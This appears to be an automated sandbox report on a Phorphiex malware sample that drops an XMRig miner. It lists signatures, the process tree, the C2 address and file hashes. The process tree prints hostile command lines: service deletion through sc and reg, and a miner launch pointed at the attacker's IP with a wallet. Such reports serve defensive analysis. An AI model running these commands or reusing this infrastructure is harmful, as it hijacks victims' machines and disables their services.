Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/11/2026, 14:18

General

  • Target
    2026-11-07_618ae82a09427c4d3eeca339bd42827c_elex_rhadamanthys_stop.exe
  • Size 419KB
  • Sample261108-rmrhrsdv3m
  • SHA256 0bf95ba27e76eda00d421489f595ee852cd193df2b8d4918152d0f6dc566d51b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • phorphiex

C2
  • http://85.193.68.206

  • 85.193.68.206

Signatures

  • Family: Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Downloads MZ/PE file 6 IoCs
  • Executes dropped EXE 16 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Program crash 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 9 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-07_618ae82a09427c4d3eeca339bd42827c_elex_rhadamanthys_stop.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-07_618ae82a09427c4d3eeca339bd42827c_elex_rhadamanthys_stop.exe"
    1⤵
    • Downloads MZ/PE file
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4548
    • C:\Users\Admin\AppData\Local\Temp\1DBB.exe
      "C:\Users\Admin\AppData\Local\Temp\1DBB.exe"
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5672
      • C:\Users\Admin\AppData\Local\Temp\796310951.exe
        C:\Users\Admin\AppData\Local\Temp\796310951.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\sysdreblov.exe
          C:\Windows\sysdreblov.exe
          4⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2568
          • C:\Users\Admin\AppData\Local\Temp\2004512716.exe
            C:\Users\Admin\AppData\Local\Temp\2004512716.exe
            5⤵
            • Downloads MZ/PE file
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3348
            • C:\Users\Admin\AppData\Local\Temp\2000529501.exe
              C:\Users\Admin\AppData\Local\Temp\2000529501.exe
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:5644
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c sc delete "winmgr" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\winmgr" /f
                7⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:828
                • C:\Windows\System32\sc.exe
                  sc delete "winmgr"
                  8⤵
                  • Launches sc.exe
                  PID:6132
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\winmgr" /f
                  8⤵
                    PID:2512
              • C:\Users\Admin\AppData\Local\Temp\1611740013.exe
                C:\Users\Admin\AppData\Local\Temp\1611740013.exe
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3800
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c sc delete "HBQBSRAR" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\HBQBSRAR" /f
                  7⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:1452
                  • C:\Windows\System32\sc.exe
                    sc delete "HBQBSRAR"
                    8⤵
                    • Launches sc.exe
                    PID:4260
                  • C:\Windows\System32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\HBQBSRAR" /f
                    8⤵
                      PID:1224
                • C:\Users\Admin\AppData\Local\Temp\2866617244.exe
                  C:\Users\Admin\AppData\Local\Temp\2866617244.exe
                  6⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3496
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c sc delete "OQNGZAVS" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\OQNGZAVS" /f
                    7⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:2472
                    • C:\Windows\System32\sc.exe
                      sc delete "OQNGZAVS"
                      8⤵
                      • Launches sc.exe
                      PID:2372
                    • C:\Windows\System32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\OQNGZAVS" /f
                      8⤵
                        PID:3416
                  • C:\Users\Admin\AppData\Local\Temp\1365220319.exe
                    C:\Users\Admin\AppData\Local\Temp\1365220319.exe
                    6⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:3420
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c sc delete "winmgr" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\winmgr" /f
                      7⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:4572
                      • C:\Windows\System32\sc.exe
                        sc delete "winmgr"
                        8⤵
                        • Launches sc.exe
                        PID:2876
                      • C:\Windows\System32\reg.exe
                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\winmgr" /f
                        8⤵
                          PID:5388
                    • C:\Users\Admin\AppData\Local\Temp\3178430828.exe
                      C:\Users\Admin\AppData\Local\Temp\3178430828.exe
                      6⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:5312
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c sc delete "HBQBSRAR" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\HBQBSRAR" /f
                        7⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4212
                        • C:\Windows\System32\sc.exe
                          sc delete "HBQBSRAR"
                          8⤵
                          • Launches sc.exe
                          PID:4936
                        • C:\Windows\System32\reg.exe
                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\HBQBSRAR" /f
                          8⤵
                            PID:5124
                      • C:\Users\Admin\AppData\Local\Temp\1969840879.exe
                        C:\Users\Admin\AppData\Local\Temp\1969840879.exe
                        6⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:4556
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c sc delete "OQNGZAVS" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\OQNGZAVS" /f
                          7⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1560
                          • C:\Windows\System32\sc.exe
                            sc delete "OQNGZAVS"
                            8⤵
                            • Launches sc.exe
                            PID:2440
                          • C:\Windows\System32\reg.exe
                            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\OQNGZAVS" /f
                            8⤵
                              PID:5368
                      • C:\Users\Admin\AppData\Local\Temp\3466536186.exe
                        C:\Users\Admin\AppData\Local\Temp\3466536186.exe
                        5⤵
                        • Downloads MZ/PE file
                        • Executes dropped EXE
                        • Reads the TCP/IP host and domain name from the registry
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of WriteProcessMemory
                        PID:1316
                        • C:\Users\Admin\AppData\Local\Temp\2923120918.exe
                          C:\Users\Admin\AppData\Local\Temp\2923120918.exe
                          6⤵
                          • Downloads MZ/PE file
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Reads the TCP/IP host and domain name from the registry
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:3292
                          • C:\Users\Admin\syshlrlops.exe
                            C:\Users\Admin\syshlrlops.exe
                            7⤵
                            • Executes dropped EXE
                            PID:952
                          • C:\sysbblovar.exe
                            \sysbblovar.exe
                            7⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:700
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\syshlrlops.exe -o 85.193.68.206:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
                              8⤵
                              • Executes a command shell one-liner
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of WriteProcessMemory
                              PID:4112
                              • C:\Users\Admin\syshlrlops.exe
                                C:\Users\Admin\syshlrlops.exe -o 85.193.68.206:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
                                9⤵
                                • Executes dropped EXE
                                • Reads the TCP/IP host and domain name from the registry
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of FindShellTrayWindow
                                PID:3804
                      • C:\Users\Admin\AppData\Local\Temp\1913226838.exe
                        C:\Users\Admin\AppData\Local\Temp\1913226838.exe
                        5⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:3128
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 4548 -s 1516
                  2⤵
                  • Program crash
                  PID:5124
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4548 -ip 4548
                1⤵
                  PID:4148
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k GPSvcGroup
                  1⤵
                    PID:2948

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        32[1].exe

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\8999WJP3\32[1].exe
                        • Size 10KB
                        • SHA256 41806c0fa28f1dbc50e2f38d3eae1301fb31eb7056ced469bf4874f73a42bdc0
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        1611740013.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\1611740013.exe
                        • Size 8KB
                        • SHA256 09108125ee801a9ac42d598c6ede4ef94bff1b42b6a761103d58c02a90a10f87
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        1913226838.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\1913226838.exe
                        • Size 22KB
                        • SHA256 89b533c29250a35aab659c01783e9a4999df8ca32c0b6231b4ea1702d600cf36
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        2000529501.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\2000529501.exe
                        • Size 8KB
                        • SHA256 2574081865a6aac2168f386a344f8eca0ecc056f546a0aa3506d5bcb364ca97c
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        2004512716.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\2004512716.exe
                        • Size 10KB
                        • SHA256 0df9bf73060364daa38132921c644ebec164a90a2eb8f1e5c3091f9ad2440f11
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        2866617244.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\2866617244.exe
                        • Size 8KB
                        • SHA256 16a9562cddf687168021083c9c842693b62a60f7fa2e6808ca7af348665f1a24
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        2923120918.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\2923120918.exe
                        • Size 12KB
                        • SHA256 a3c3cd52620712398c4cc6681706ffe872ab7df45e3412cff45a62bc7f852588
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        3466536186.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\3466536186.exe
                        • Size 10KB
                        • SHA256 b52b357f2d26245c87a157eeef121133d3122af6fd12ce9487220ef339e70afc
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        796310951.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\796310951.exe
                        • Size 88KB
                        • SHA256 65f9e948f1ccc026ca9d6a4851fdc850a731af7df1dabaf26eac5fd1884fc052
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        syshlrlops.exe

                        • Path C:\Users\Admin\syshlrlops.exe
                        • Size 6.2MB
                        • SHA256 6fa80698d7268f6e88aa88c06fb27ee99e1bcee747c2e76911e6206a5b1aeeb3
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/952-73-0x000001A405730000-0x000001A405750000-memory.dmp

                        memory/3496-51-0x00000000003C0000-0x00000000003C6000-memory.dmp

                        memory/3800-40-0x0000000000E30000-0x0000000000E36000-memory.dmp

                        memory/5644-29-0x0000000000660000-0x0000000000666000-memory.dmp